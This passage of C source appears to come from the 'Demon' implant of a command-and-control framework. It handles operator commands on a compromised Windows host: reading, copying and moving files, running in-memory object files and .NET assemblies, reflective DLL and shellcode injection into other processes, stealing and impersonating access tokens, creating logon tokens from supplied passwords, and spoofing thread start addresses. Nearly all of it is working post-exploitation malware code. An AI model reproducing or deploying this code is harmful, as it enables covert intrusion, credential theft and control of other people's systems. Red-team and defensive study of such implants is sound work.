\"FS::Mkdir\" )\n        {\n            UINT32 PathSize = 0;\n            LPWSTR Path     = ParserGetWString( Parser, &PathSize );\n\n            if ( ! Instance->Win32.CreateDirectoryW( Path, NULL ) )\n            {\n                PackageTransmitError( CALLBACK_ERROR_WIN32, NtGetLastError() );\n                goto CLEAR_LEAVE;\n            }\n\n            PackageAddWString( Package, Path );\n\n            break;\n        }\n\n        case DEMON_COMMAND_FS_COPY: PUTS( \"FS::Copy\" )\n        {\n            UINT32 FromSize = 0;\n            UINT32 ToSize   = 0;\n            LPWSTR PathFrom = NULL;\n            LPWSTR PathTo   = NULL;\n            BOOL   Success  = FALSE;\n\n            PathFrom = ParserGetWString( Parser, &FromSize );\n            PathTo   = ParserGetWString( Parser, &ToSize );\n\n            PRINTF( \"Copy file %ls to %ls\\n\", PathFrom, PathTo )\n\n            Success = Instance->Win32.CopyFileW( PathFrom, PathTo, FALSE );\n            if ( ! Success ) {\n                PACKAGE_ERROR_WIN32\n            }\n\n            PackageAddInt32( Package, Success );\n            PackageAddWString( Package, PathFrom );\n            PackageAddWString( Package, PathTo );\n\n            break;\n        }\n\n        case DEMON_COMMAND_FS_MOVE: PUTS( \"FS::Move\" )\n        {\n            UINT32 FromSize = 0;\n            UINT32 ToSize   = 0;\n            LPWSTR PathFrom = NULL;\n            LPWSTR PathTo   = NULL;\n            BOOL   Success  = FALSE;\n\n            PathFrom = ParserGetWString( Parser, &FromSize );\n            PathTo   = ParserGetWString( Parser, &ToSize );\n\n            PRINTF( \"Move file %ls to %ls\\n\", PathFrom, PathTo )\n\n            Success = Instance->Win32.MoveFileExW( PathFrom, PathTo, MOVEFILE_REPLACE_EXISTING );\n            if ( ! Success ) {\n                PACKAGE_ERROR_WIN32\n            }\n\n            PackageAddInt32( Package, Success );\n            PackageAddWString( Package, PathFrom );\n            PackageAddWString( Package, PathTo );\n\n            break;\n        }\n\n        case DEMON_COMMAND_FS_GET_PWD: PUTS( \"FS::GetPwd\" )\n        {\n            WCHAR Path[ MAX_PATH * 2 ] = { 0 };\n            DWORD Return               = 0;\n\n            if ( ! ( Return = Instance->Win32.GetCurrentDirectoryW( MAX_PATH * 2, Path ) ) ) {\n                PRINTF( \"Failed to get current dir: %d\\n\", NtGetLastError() );\n                PackageTransmitError( CALLBACK_ERROR_WIN32, NtGetLastError() ); \n            } else {\n                PackageAddWString( Package, Path );\n            }\n\n            break;\n        }\n\n        case DEMON_COMMAND_FS_CAT: PUTS( \"FS::Cat\" )\n        {\n            DWORD  FileSize = 0;\n            UINT32 NameSize = 0;\n            LPWSTR FileName = ParserGetWString( Parser, &NameSize );\n            PVOID  Content  = NULL;\n            BOOL   Success  = FALSE;\n\n            PRINTF( \"FileName => %ls\\n\", FileName )\n\n            Success = ReadLocalFile( FileName, &Content, &FileSize );\n\n            PackageAddWString( Package, FileName );\n            PackageAddInt32( Package, Success );\n            PackageAddBytes( Package, Content,  FileSize );\n\n            if ( Content )\n            {\n                MemSet( Content, 0, FileSize );\n                Instance->Win32.LocalFree( Content );\n                Content = NULL;\n            }\n            break;\n        }\n\n        default:\n        {\n            PRINTF( \"FS SubCommand not found: %d : %x\\n\", Command, Command );\n            break;\n        }\n    }\n\n    PackageTransmit( Package );\n    return;\n\nCLEAR_LEAVE:\n    PackageDestroy( Package ); Package = NULL;\n}\n\nVOID CommandInlineExecute( PPARSER Parser )\n{\n    UINT32    FunctionNameSize = 0;\n    DWORD     ObjectDataSize   = 0;\n    PCHAR     ArgBuffer        = NULL;\n    UINT32    ArgSize          = 0;\n    PCHAR     ObjectData       = NULL;\n    PMEM_FILE BofMemFile       = NULL;\n    PMEM_FILE ParamsMemFile    = NULL;\n    UINT32    RequestID        = Instance->CurrentRequestID;\n    PCHAR     FunctionName     = ParserGetString( Parser, &FunctionNameSize );\n    ULONG     BofFileID        = ParserGetInt32( Parser );\n    ULONG     ParamsFileID     = ParserGetInt32( Parser );\n    INT32     Flags            = ParserGetInt32( Parser );\n\n    BofMemFile = GetMemFile( BofFileID );\n    if ( BofMemFile && BofMemFile->IsCompleted )\n    {\n        ObjectData     = BofMemFile->Data;\n        ObjectDataSize = BofMemFile->Size;\n    }\n    else if ( BofMemFile && ! BofMemFile->IsCompleted )\n    {\n        PRINTF( \"BofMemFile [%x] was not completed\\n\", BofFileID );\n        goto CLEANUP;\n    }\n    else\n    {\n        PRINTF( \"BofMemFile [%x] not found\\n\", BofFileID );\n        goto CLEANUP;\n    }\n\n    ParamsMemFile = GetMemFile( ParamsFileID );\n    if ( ParamsMemFile && ParamsMemFile->IsCompleted )\n    {\n        ArgBuffer = ParamsMemFile->Data;\n        ArgSize   = ParamsMemFile->Size;\n    }\n    else if ( ParamsMemFile && ! ParamsMemFile->IsCompleted )\n    {\n        PRINTF( \"ParamsMemFile [%x] was not completed\\n\", ParamsFileID );\n        goto CLEANUP;\n    }\n    else\n    {\n        PRINTF( \"ParamsMemFile [%x] not found\\n\", ParamsFileID );\n        goto CLEANUP;\n    }\n\n    switch ( Flags )\n    {\n        case 0:\n        {\n            PUTS( \"Use Non-Threaded CoffeeLdr\" )\n            CoffeeLdr( FunctionName, ObjectData, ArgBuffer, ArgSize, RequestID );\n            break;\n        }\n\n        case 1:\n        {\n            PUTS( \"Use Threaded CoffeeRunner\" )\n            CoffeeRunner( FunctionName, FunctionNameSize, ObjectData, ObjectDataSize, ArgBuffer, ArgSize, RequestID );\n            break;\n        }\n\n        default:\n        {\n            PUTS( \"Use default (from config) CoffeeLdr\" )\n\n            if ( Instance->Config.Implant.CoffeeThreaded )\n            {\n                PUTS( \"Config is set to threaded\" )\n                CoffeeRunner( FunctionName, FunctionNameSize, ObjectData, ObjectDataSize, ArgBuffer, ArgSize, RequestID );\n            }\n            else\n            {\n                PUTS( \"Config is set to non-threaded\" )\n                CoffeeLdr( FunctionName, ObjectData, ArgBuffer, ArgSize, RequestID );\n            }\n\n            break;\n        }\n    }\n\nCLEANUP:\n    RemoveMemFile( BofFileID );\n    RemoveMemFile( ParamsFileID );\n}\n\nVOID CommandInjectDLL( PPARSER Parser )\n{\n    PPACKAGE          Package    = PackageCreate( DEMON_COMMAND_INJECT_DLL );\n\n    UINT32            DllSize    = 0;\n    DWORD             Result     = 1;\n    NTSTATUS          NtStatus   = STATUS_UNSUCCESSFUL;\n    PBYTE             DllBytes   = NULL;\n    UINT32            DllLdrSize = 0;\n    PBYTE             DllLdr     = NULL;\n    HANDLE            hProcess   = NULL;\n    OBJECT_ATTRIBUTES ObjAttr    = { sizeof( ObjAttr ) };\n    INJECTION_CTX     InjCtx     = { 0 };\n\n    InjCtx.Technique = ParserGetInt32( Parser );\n    InjCtx.ProcessID = ParserGetInt32( Parser );\n    DllLdr           = ParserGetBytes( Parser, &DllLdrSize );\n    DllBytes         = ParserGetBytes( Parser, &DllSize );\n    InjCtx.Parameter = ParserGetBytes( Parser, &InjCtx.ParameterSize );\n\n    PUTS( \"CommandInjectDLL\" )\n    PRINTF( \"Technique: %d\\n\", InjCtx.Technique )\n    PRINTF( \"ProcessID: %d\\n\", InjCtx.ProcessID )\n    PRINTF( \"DllBytes : %x [%d]\\n\", DllBytes, DllSize );\n    PRINTF( \"Parameter: %x [%d]\\n\", InjCtx.Parameter, InjCtx.ParameterSize );\n\n    hProcess = ProcessOpen( InjCtx.ProcessID, PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION );\n\n    if ( hProcess )\n    {\n        Result = DllInjectReflective( hProcess, DllLdr, DllLdrSize, DllBytes, DllSize, InjCtx.Parameter, InjCtx.ParameterSize, &InjCtx );\n        SysNtClose( hProcess );\n    }\n    else\n    {\n        PackageTransmitError( CALLBACK_ERROR_WIN32, NtGetLastError() );\n    }\n\n    PRINTF( \"Injected Result: %d\\n\", Result )\n\n    PackageAddInt32( Package, Result );\n    PackageTransmit( Package );\n}\n\nVOID CommandSpawnDLL( PPARSER Parser )\n{\n    PPACKAGE      Package    = NULL;\n    INJECTION_CTX InjCtx     = { 0 };\n    UINT32        DllSize    = 0;\n    UINT32        ArgSize    = 0;\n    UINT32        DllLdrSize = 0;\n    PCHAR         DllLdr     = ParserGetString( Parser, &DllLdrSize );\n    PCHAR         DllBytes   = ParserGetString( Parser, &DllSize );\n    PCHAR         Arguments  = ParserGetString( Parser, &ArgSize );\n    DWORD         Result     = 0;\n\n    Package = PackageCreate( DEMON_COMMAND_SPAWN_DLL );\n    Result  = DllSpawnReflective( DllLdr, DllLdrSize, DllBytes, DllSize, Arguments, ArgSize, &InjCtx );\n\n    PackageAddInt32( Package, Result );\n    PackageTransmit( Package );\n}\n\nVOID CommandInjectShellcode(\n    IN PPARSER Parser\n) {\n    PPACKAGE  Package = NULL;\n    DWORD     Status  = INJECT_ERROR_FAILED;\n    DWORD     Way     = FALSE;\n    DWORD     Method  = 0;\n    BOOL      x64     = FALSE;\n    PVOID     Payload = NULL;\n    DWORD     Size    = 0;\n    PVOID     Argv    = NULL;\n    DWORD     Argc    = 0;\n    DWORD     Pid     = 0;\n    LPWSTR    Spawn   = NULL;\n    PROC_INFO PcInfo  = { 0 };\n\n    /* create response package */\n    Package = PackageCreate( DEMON_COMMAND_INJECT_SHELLCODE );\n\n    /* parse arguments */\n    Way     = ParserGetInt32( Parser );\n    Method  = ParserGetInt32( Parser );\n    x64     = ParserGetInt32( Parser );\n    Payload = ParserGetBytes( Parser, &Size );\n    Argv    = ParserGetBytes( Parser, &Argc );\n    Pid     = ParserGetInt32( Parser );\n\n    PRINTF(\n        \"Injection Args:      \\n\"\n        \" - Way     : %d      \\n\"\n        \" - Method  : %d      \\n\"\n        \" - x64     : %s      \\n\"\n        \" - Payload : %p : %d \\n\"\n        \" - Arg     : %p : %d \\n\"\n        \" - Pid     : %d      \\n\",\n        Way,\n        Method,\n        x64 ? \"TRUE\" : \"FALSE\",\n        Payload, Size,\n        Argv, Argc,\n        Pid\n    )\n\n    /* dispatch injection way */\n    switch ( Way )\n    {\n        case INJECT_WAY_SPAWN: PUTS( \"INJECT_WAY_SPAWN\" ) {\n            /* use configured target process */\n            if ( x64 ) {\n                Spawn = Instance->Config.Process.Spawn64;\n            } else {\n                Spawn = Instance->Config.Process.Spawn86;\n            }\n\n            PRINTF( \"Target spawn process: %ls\\n\", Spawn )\n\n            /* create process */\n            if ( ProcessCreate( ( ! x64 ), NULL, Spawn, CREATE_NO_WINDOW | CREATE_NEW_CONSOLE | CREATE_SUSPENDED, &PcInfo, FALSE, NULL ) ) {\n                PRINTF( \"ProcessId is %d\\n\", PcInfo.dwProcessId );\n\n                /* inject code */\n                Status = Inject( Method, PcInfo.hProcess, 0, x64, Payload, Size, 0, Argv, Argc );\n\n                /* terminate process if injection failed */\n                if ( Status != INJECT_ERROR_SUCCESS ) {\n                    ProcessTerminate( PcInfo.hProcess, 0 );\n                }\n\n                /* close process handle */\n                if ( PcInfo.hProcess ) {\n                    SysNtClose( PcInfo.hProcess );\n                }\n\n                /* close thread handle */\n                if ( PcInfo.hThread ) {\n                    SysNtClose( PcInfo.hThread );\n                }\n\n                /* clear struct from stack */\n                RtlSecureZeroMemory( &PcInfo, sizeof( PROC_INFO ) );\n            } else {\n                PRINTF( \"Failed to create process: %d\\n\", NtGetLastError() )\n            }\n\n            break;\n        }\n\n        case INJECT_WAY_INJECT: PUTS( \"INJECT_WAY_INJECT\" ) {\n            Status = Inject( Method, NULL, Pid, x64, Payload, Size, U_PTR( NULL ),Argv, Argc );\n            break;\n        }\n\n        case INJECT_WAY_EXECUTE: PUTS( \"INJECT_WAY_EXECUTE\" ) {\n            Status = Inject( Method, NtCurrentProcess(), 0, x64, Payload, Size, U_PTR( NULL ),Argv, Argc );\n            break;\n        }\n\n        default: {\n            PRINTF( \"Injection way not found: %d\\n\", Way )\n        }\n    }\n\n\n    PackageAddInt32( Package, Status );\n    PackageTransmit( Package );\n}\n\nVOID CommandToken( PPARSER Parser )\n{\n    PPACKAGE Package = PackageCreate( DEMON_COMMAND_TOKEN );\n    DWORD    Command = ParserGetInt32( Parser );\n\n    PRINTF( \"Command => %d\\n\", Command )\n\n    PackageAddInt32( Package, Command );\n    switch ( Command )\n    {\n        case DEMON_COMMAND_TOKEN_IMPERSONATE: PUTS( \"Token::Impersonate\" )\n        {\n            DWORD            dwTokenID = ParserGetInt32( Parser );\n            PTOKEN_LIST_DATA TokenData = NULL;\n\n            TokenData = TokenGet( dwTokenID );\n\n            if ( TokenData )\n            {\n                PackageAddInt32( Package, ImpersonateTokenInStore( TokenData ) );\n                PackageAddString( Package, TokenData->DomainUser );\n            }\n            else\n            {\n                PUTS( \"Token not found in vault.\" )\n                PackageTransmitError( CALLBACK_ERROR_TOKEN, 0x1 );\n                PackageAddInt32( Package, FALSE );\n                PackageAddInt32( Package, 0 );\n            }\n\n            break;\n        }\n\n        case DEMON_COMMAND_TOKEN_STEAL: PUTS( \"Token::Steal\" )\n        {\n            DWORD  TargetPid    = { 0 };\n            HANDLE TargetHandle = { 0 };\n            HANDLE StolenToken  = { 0 };\n            BUFFER UserDomain   = { 0 };\n            DWORD  NewTokenID   = { 0 };\n\n            // TODO: send True or False\n\n            /* parse arguments */\n            TargetPid    = ParserGetInt32( Parser );\n            TargetHandle = C_PTR( ParserGetInt32( Parser ) );\n\n            /* steal token */\n            if ( ! ( StolenToken  = TokenSteal( TargetPid, TargetHandle ) ) ) {\n                PUTS( \"[!] Couldn't get remote process token\" )\n                return;\n            }\n\n            if ( ! TokenQueryOwner( StolenToken, &UserDomain, TOKEN_OWNER_FLAG_DEFAULT ) ) {\n                PUTS( \"Failed to query user/domain from stolen token\" )\n                return;\n            }\n\n            /* TODO: pass the BUFFER struct to it instead of the PCHAR pointer */\n            NewTokenID = TokenAdd( StolenToken, UserDomain.Buffer, TOKEN_TYPE_STOLEN, TargetPid, NULL, NULL, NULL );\n\n            /* when a new token is stolen, we impersonate it automatically */\n            if ( ! ImpersonateTokenFromVault( NewTokenID ) )\n            {\n                PUTS( \"Failed to impersonate the token\" )\n                return;\n            }\n\n            PRINTF( \"[^] New Token added to the Vault: %d User:[%ls]\\n\", NewTokenID, UserDomain.Buffer );\n\n            PackageAddBytes( Package, UserDomain.Buffer, UserDomain.Length );\n            PackageAddInt32( Package, NewTokenID );\n            PackageAddInt32( Package, TargetPid );\n\n            break;\n        }\n\n        case DEMON_COMMAND_TOKEN_LIST: PUTS( \"Token::List\" )\n        {\n            PTOKEN_LIST_DATA TokenList  = Instance->Tokens.Vault;\n            DWORD            TokenIndex = 0;\n\n            do {\n                if ( TokenList != NULL )\n                {\n                    PRINTF( \"[TOKEN_LIST] Index:[%d] Handle:[0x%x] User:[%s] Pid:[%d]\\n\", TokenIndex, TokenList->Handle, TokenList->DomainUser, TokenList->dwProcessID );\n\n                    PackageAddInt32( Package, TokenIndex );\n                    PackageAddInt32( Package, ( DWORD ) ( ULONG_PTR ) TokenList->Handle );\n                    PackageAddWString( Package, TokenList->DomainUser );\n                    PackageAddInt32( Package, TokenList->dwProcessID );\n                    PackageAddInt32( Package, TokenList->Type );\n                    PackageAddInt32( Package, Instance->Tokens.Impersonate && Instance->Tokens.Token->Handle == TokenList->Handle );\n\n                    TokenList = TokenList->NextToken;\n                }\n                else\n                    break;\n\n                TokenIndex++;\n            } while ( TRUE );\n            break;\n        }\n\n        case DEMON_COMMAND_TOKEN_PRIVSGET_OR_LIST: PUTS( \"Token::PrivsGetOrList\" )\n        {\n            PTOKEN_PRIVILEGES TokenPrivs     = NULL;\n            DWORD             TPSize         = 0;\n            DWORD             Length         = 0;\n            HANDLE            TokenHandle    = NULL;\n            PCHAR             PrivName       = NULL;\n            UINT32            PrivNameLength = 0;\n            BOOL              ListPrivs      = ParserGetInt32( Parser );\n\n            PackageAddInt32( Package, ListPrivs );\n\n            if ( ListPrivs )\n            {\n                PUTS( \"Privs::List\" )\n                TokenHandle = TokenCurrentHandle();\n\n                Instance->Win32.GetTokenInformation( TokenHandle, TokenPrivileges, TokenPrivs, 0, &TPSize );\n                TokenPrivs = Instance->Win32.LocalAlloc( LPTR, ( TPSize + 1 ) * sizeof( TOKEN_PRIVILEGES ) );\n\n                CHAR Name[ MAX_PATH ] = { 0 };\n\n                if ( TokenPrivs )\n                {\n                    if ( Instance->Win32.GetTokenInformation( TokenHandle, TokenPrivileges, TokenPrivs, TPSize, &TPSize ) )\n                    {\n                        for ( INT i = 0; i < TokenPrivs->PrivilegeCount; i++ )\n                        {\n                            Length = MAX_PATH;\n                            Instance->Win32.LookupPrivilegeNameA( NULL, &TokenPrivs->Privileges[ i ].Luid, Name, &Length );\n                            PackageAddString( Package, Name );\n                            PackageAddInt32( Package, TokenPrivs->Privileges[ i ].Attributes );\n                        }\n                    }\n                }\n            }\n            else\n            {\n                PUTS( \"Privs::Get\" )\n                PrivName = ParserGetString( Parser, &PrivNameLength );\n\n                PackageAddInt32( Package, TokenSetPrivilege( PrivName, TRUE ) );\n                PackageAddString( Package, PrivName );\n            }\n\n            if ( TokenPrivs )\n            {\n                MemSet( TokenPrivs, 0, sizeof( TOKEN_PRIVILEGES ) );\n                Instance->Win32.LocalFree( TokenPrivs );\n                TokenPrivs = NULL;\n            }\n\n            break;\n        }\n\n        case DEMON_COMMAND_TOKEN_MAKE: PUTS( \"Token::Make\" )\n        {\n            UINT32 dwUserSize     = 0;\n            UINT32 dwPasswordSize = 0;\n            UINT32 dwDomainSize   = 0;\n            PWCHAR lpDomain       = ParserGetWString( Parser, &dwDomainSize );\n            PWCHAR lpUser         = ParserGetWString( Parser, &dwUserSize );\n            PWCHAR lpPassword     = ParserGetWString( Parser, &dwPasswordSize );\n            DWORD  LogonType      = ParserGetInt32( Parser );\n            CHAR   Deli[ 2 ]      = { '\\\\', 0 };\n            HANDLE hToken         = NULL;\n            PWCHAR UserDomain     = NULL;\n            LPWSTR BufferUser     = NULL;\n            LPWSTR BufferPassword = NULL;\n            LPWSTR BufferDomain   = NULL;\n            DWORD  UserDomainSize = dwUserSize + dwDomainSize + 1;\n            DWORD  NewTokenID     = 0;\n\n            if ( dwUserSize > 0 && dwPasswordSize > 0 && dwDomainSize > 0 )\n            {\n                PRINTF( \"Create new token: Domain:[%ls] User:[%ls] Password:[%ls] LogonType:[%d]\\n\", lpDomain, lpUser, lpPassword, LogonType )\n\n                hToken = TokenMake( lpUser, lpPassword, lpDomain, LogonType );\n                if ( hToken != NULL )\n                {\n                    UserDomain = Instance->Win32.LocalAlloc( LPTR, UserDomainSize );\n\n                    MemSet( UserDomain, 0, UserDomainSize );\n\n                    StringConcatW( UserDomain, lpDomain );\n                    StringConcatW( UserDomain, Deli );\n                    StringConcatW( UserDomain, lpUser );\n\n                    BufferUser     = Instance->Win32.LocalAlloc( LPTR, dwUserSize );\n                    BufferPassword = Instance->Win32.LocalAlloc( LPTR, dwPasswordSize );\n                    BufferDomain   = Instance->Win32.LocalAlloc( LPTR, dwDomainSize );\n\n                    MemCopy( BufferUser, lpUser, dwUserSize );\n                    MemCopy( BufferPassword, lpPassword, dwPasswordSize );\n                    MemCopy( BufferDomain, lpDomain, dwDomainSize );\n\n                    NewTokenID = TokenAdd(\n                        hToken,\n                        UserDomain,\n                        TOKEN_TYPE_MAKE_NETWORK,\n                        ( DWORD ) ( ULONG_PTR ) NtCurrentTeb()->ClientId.UniqueProcess,\n                        BufferUser,\n                        BufferDomain,\n                        BufferPassword\n                    );\n\n                    // when a new token is created, we impersonate it automatically\n                    ImpersonateTokenFromVault( NewTokenID );\n\n                    PRINTF( \"UserDomain => %ls\\n\", UserDomain )\n\n                    PackageAddWString( Package, UserDomain );\n                }\n            }\n\n            break;\n        }\n\n        case DEMON_COMMAND_TOKEN_GET_UID: PUTS( \"Token::GetUID\" )\n        {\n            BUFFER User  = { 0 };\n            HANDLE Token = { 0 };\n            BOOL   Admin = FALSE;\n\n            /* current handle */\n            if ( ( Token = TokenCurrentHandle() ) ) {\n                /* query if token is elevated and add it to the package */\n                PackageAddInt32( Package, TokenElevated( Token ) );\n\n                /* query the user of from the current thread/process token */\n                if ( TokenQueryOwner( Token, &User, TOKEN_OWNER_FLAG_DEFAULT ) ) {\n                    PRINTF( \"User => %ls [%ld]\\n\", User.Buffer, User.Length );\n                    PackageAddBytes( Package, User.Buffer, User.Length );\n                } else {\n                    PackageAddBytes( Package, NULL, 0 );\n                    /* TODO: send back error that we couldn't query the user of the token */\n                }\n            } else {\n                /* something went wrong. let's report that */\n                PACKAGE_ERROR_WIN32\n            }\n\n            /* close handle */\n            if ( Token ) {\n                SysNtClose( Token );\n                Token = NULL;\n            }\n\n            /* free queried owner memory */\n            if ( User.Buffer ) {\n                MemZero( User.Buffer, User.Length );\n                MmHeapFree( User.Buffer );\n                User.Buffer = NULL;\n            }\n\n            break;\n        }\n\n        case DEMON_COMMAND_TOKEN_REVERT: PUTS( \"Token::Revert\" )\n        {\n            BOOL Success = TokenRevSelf();\n\n            PackageAddInt32( Package, Success );\n\n            if ( ! Success )\n                PACKAGE_ERROR_WIN32;\n\n            Instance->Tokens.Token       = NULL;\n            Instance->Tokens.Impersonate = FALSE;\n\n            break;\n        }\n\n        case DEMON_COMMAND_TOKEN_REMOVE: PUTS( \"Token::Remove\" )\n        {\n            DWORD TokenID = ParserGetInt32( Parser );\n\n            PackageAddInt32( Package, TokenRemove( TokenID ) );\n            PackageAddInt32( Package, TokenID );\n\n            break;\n        }\n\n        case DEMON_COMMAND_TOKEN_CLEAR: PUTS( \"Token::Clear\" )\n        {\n\n            TokenClear();\n\n            break;\n        }\n\n        case DEMON_COMMAND_TOKEN_FIND_TOKENS: PUTS( \"Token::Find\" )\n        {\n            PUSER_TOKEN_DATA TokenList    = NULL;\n            DWORD            NumTokens    = 0;\n            BOOL             Success      = FALSE;\n            DWORD            NumDelTokens = 0;\n            DWORD            NumImpTokens = 0;\n            DWORD            i            = 0 ;\n\n            Success = ListTokens( &TokenList, &NumTokens );\n\n            PackageAddInt32( Package, Success );\n\n            if ( Success )\n            {\n                PackageAddInt32( Package, NumTokens );\n\n                for (i = 0; i < NumTokens; ++i)\n                {\n                    PackageAddWString( Package, TokenList[ i ].username );\n                    PackageAddInt32( Package, TokenList[ i ].dwProcessID );\n                    PackageAddInt32( Package, ( DWORD ) ( ULONG_PTR ) TokenList[ i ].localHandle );\n                    PackageAddInt32( Package, TokenList[ i ].integrity_level );\n                    PackageAddInt32( Package, TokenList[ i ].impersonation_level );\n                    PackageAddInt32( Package, TokenList[ i ].TokenType );\n                }\n            }\n\n            if ( TokenList )\n            {\n                DATA_FREE( TokenList, NumTokens * sizeof( USER_TOKEN_DATA ) );\n            }\n\n            break;\n        }\n    }\n\n    PackageTransmit( Package );\n}\n\nVOID CommandAssemblyInlineExecute( PPARSER Parser )\n{\n    if ( ! Instance->Dotnet )\n    {\n        BUFFER Buffer       = { 0 };\n        BUFFER AssemblyData = { 0 };\n        BUFFER AssemblyArgs = { 0 };\n\n        Instance->Dotnet            = MmHeapAlloc( sizeof( DOTNET_ARGS ) );\n        Instance->Dotnet->RequestID = Instance->CurrentRequestID;\n        Instance->Dotnet->Invoked   = FALSE;\n\n        /* Parse Pipe Name */\n        Buffer.Buffer = ParserGetWString( Parser, &Buffer.Length );\n        Instance->Dotnet->PipeName.Buffer = MmHeapAlloc( Buffer.Length + sizeof( WCHAR ) );\n        Instance->Dotnet->PipeName.Length = Buffer.Length;\n        MemCopy( Instance->Dotnet->PipeName.Buffer, Buffer.Buffer, Instance->Dotnet->PipeName.Length );\n\n        /* Parse AppDomain Name */\n        Buffer.Buffer = ParserGetWString( Parser, &Buffer.Length );\n        Instance->Dotnet->AppDomainName.Buffer = MmHeapAlloc( Buffer.Length + sizeof( WCHAR ) );\n        Instance->Dotnet->AppDomainName.Length = Buffer.Length;\n        MemCopy( Instance->Dotnet->AppDomainName.Buffer, Buffer.Buffer, Instance->Dotnet->AppDomainName.Length );\n\n        /* Parse Net Version */\n        Buffer.Buffer = ParserGetWString( Parser, &Buffer.Length );\n        Instance->Dotnet->NetVersion.Buffer = MmHeapAlloc( Buffer.Length + sizeof( WCHAR ) );\n        Instance->Dotnet->NetVersion.Length = Buffer.Length;\n        MemCopy( Instance->Dotnet->NetVersion.Buffer, Buffer.Buffer, Instance->Dotnet->NetVersion.Length );\n\n        /* Parse Assembly MemFile */\n        ULONG32 MemFileID = ParserGetInt32( Parser );\n        PMEM_FILE MemFile = GetMemFile( MemFileID );\n        AssemblyData.Buffer = NULL;\n        AssemblyData.Length = 0;\n\n        if ( MemFile && MemFile->IsCompleted )\n        {\n            AssemblyData.Buffer = MemFile->Data;\n            AssemblyData.Length = MemFile->Size;\n        }\n        else if ( MemFile && ! MemFile->IsCompleted )\n        {\n            PRINTF( \"MemFile [%x] was not completed\\n\", MemFileID );\n        }\n        else\n        {\n            PRINTF( \"MemFile [%x] not found\\n\", MemFileID );\n        }\n\n        /* Parse Argument */\n        AssemblyArgs.Buffer = ParserGetWString( Parser, &Buffer.Length );\n\n        PRINTF(\n            \"Parsed Arguments:         \\n\"\n            \" - PipeName     [%d]: %ls \\n\"\n            \" - AppDomain    [%d]: %ls \\n\"\n            \" - NetString    [%d]: %ls \\n\"\n            \" - AssemblyArgs [%d]: %ls \\n\"\n            \" - AssemblyData [%d]: %p  \\n\",\n            Instance->Dotnet->PipeName.Length,      Instance->Dotnet->PipeName.Buffer,\n            Instance->Dotnet->AppDomainName.Length, Instance->Dotnet->AppDomainName.Buffer,\n            Instance->Dotnet->NetVersion.Length,    Instance->Dotnet->NetVersion.Buffer,\n            AssemblyArgs.Length,                   AssemblyArgs.Buffer,\n            AssemblyData.Length,                   AssemblyData.Buffer\n        )\n\n        if ( ! DotnetExecute( AssemblyData, AssemblyArgs ) )\n        {\n            PPACKAGE Package = PackageCreate( DEMON_COMMAND_ASSEMBLY_INLINE_EXECUTE );\n            PackageAddInt32( Package, DOTNET_INFO_FAILED );\n            PackageTransmit( Package );\n\n            DotnetClose();\n        }\n\n        PUTS( \"Finished with Assembly inline execute\" )\n    }\n    else\n    {\n        PUTS( \"Dotnet instance already running.\" )\n    }\n}\n\nVOID CommandAssemblyListVersion( PPARSER Parser )\n{\n    PPACKAGE         Package      = PackageCreate( DEMON_COMMAND_ASSEMBLY_VERSIONS );\n    PICLRMetaHost    pClrMetaHost = { NULL };\n    PIEnumUnknown    pEnumClr     = { NULL };\n    PICLRRuntimeInfo pRunTimeInfo = { NULL };\n\n    if ( RtMscoree() )\n    {\n        if ( Instance->Win32.CLRCreateInstance( &xCLSID_CLRMetaHost, &xIID_ICLRMetaHost, (LPVOID*)&pClrMetaHost ) == S_OK )\n        {\n            if ( ( pClrMetaHost )->lpVtbl->EnumerateInstalledRuntimes( pClrMetaHost, &pEnumClr ) == S_OK )\n            {\n                DWORD dwStringSize = 0;\n                while ( TRUE )\n                {\n                    IUnknown *UPTR      = { 0 };\n                    ULONG    fetched    = 0;\n\n                    if ( pEnumClr->lpVtbl->Next( pEnumClr, 1, &UPTR, &fetched ) == S_OK )\n                    {\n                        pRunTimeInfo = ( PICLRRuntimeInfo ) UPTR;\n                        if ( pRunTimeInfo->lpVtbl->GetVersionString( pRunTimeInfo, NULL, &dwStringSize ) == HRESULT_FROM_WIN32( ERROR_INSUFFICIENT_BUFFER ) && dwStringSize > 0 )\n                        {\n                            LPVOID Version = Instance->Win32.LocalAlloc( LPTR, dwStringSize );\n\n                            if ( pRunTimeInfo->lpVtbl->GetVersionString( pRunTimeInfo, Version, &dwStringSize ) == S_OK )\n                            {\n                                PRINTF( \"Version[ %d ]: %ls\\n\", dwStringSize, Version );\n                                PackageAddWString( Package, Version );\n                            }\n\n                            Instance->Win32.LocalFree( Version );\n                            Version = NULL;\n                            dwStringSize = 0;\n                        }\n                        else\n                            PUTS(\"Failed get Version String\")\n                    }\n                    else break;\n                }\n            }\n            else\n                PUTS(\"Failed to enumerate\")\n        }\n        else\n            PUTS(\"Failed to CLRCreateInstance\");\n    }\n    else\n        PUTS(\"Failed to load mscoree.dll\")\n\n\n    if ( pClrMetaHost )\n    {\n        pClrMetaHost->lpVtbl->Release( pClrMetaHost );\n        pClrMetaHost = NULL;\n    }\n\n    if ( pEnumClr )\n    {\n        pEnumClr->lpVtbl->Release( pEnumClr );\n        pEnumClr = NULL;\n    }\n\n    if ( pRunTimeInfo )\n    {\n        pRunTimeInfo->lpVtbl->Release( pRunTimeInfo );\n        pRunTimeInfo = NULL;\n    }\n\n    PackageTransmit( Package );\n}\n\nVOID CommandConfig( PPARSER Parser )\n{\n    PPACKAGE Package = PackageCreate( DEMON_COMMAND_CONFIG );\n    UINT32   Config  = ParserGetInt32( Parser );\n\n    PackageAddInt32( Package, Config );\n\n    switch ( Config )\n    {\n        case DEMON_CONFIG_SHOW_ALL:\n        {\n            break;\n        }\n\n        case DEMON_CONFIG_IMPLANT_SPFTHREADADDR:\n        {\n            UINT32  LibSize    = 0;\n            UINT32  FuncSize   = 0;\n            PCHAR   Library    = ParserGetString( Parser, &LibSize );\n            PCHAR   Function   = ParserGetString( Parser, &FuncSize );\n            UINT32  Offset     = ParserGetInt32( Parser );\n            PVOID   ThreadAddr = NULL;\n\n            PRINTF( \"Library  => %s\\n\", Library );\n            PRINTF( \"Function => %s\\n\", Function );\n            PRINTF( \"Offset => %x\\n\", Offset );\n\n            if ( Library )\n            {\n                PVOID hLib = NULL;\n\n                hLib = LdrModuleLoad( Library );\n                PRINTF( \"hLib => %x\\n\", hLib );\n\n                if ( hLib ) {\n                    ThreadAddr = LdrFunctionAddr( hLib, HashStringA( Function ) );\n                    if ( ThreadAddr ) {\n                        Instance->Config.Implant.ThreadStartAddr = ThreadAddr + Offset;\n                    }\n                    else {\n                        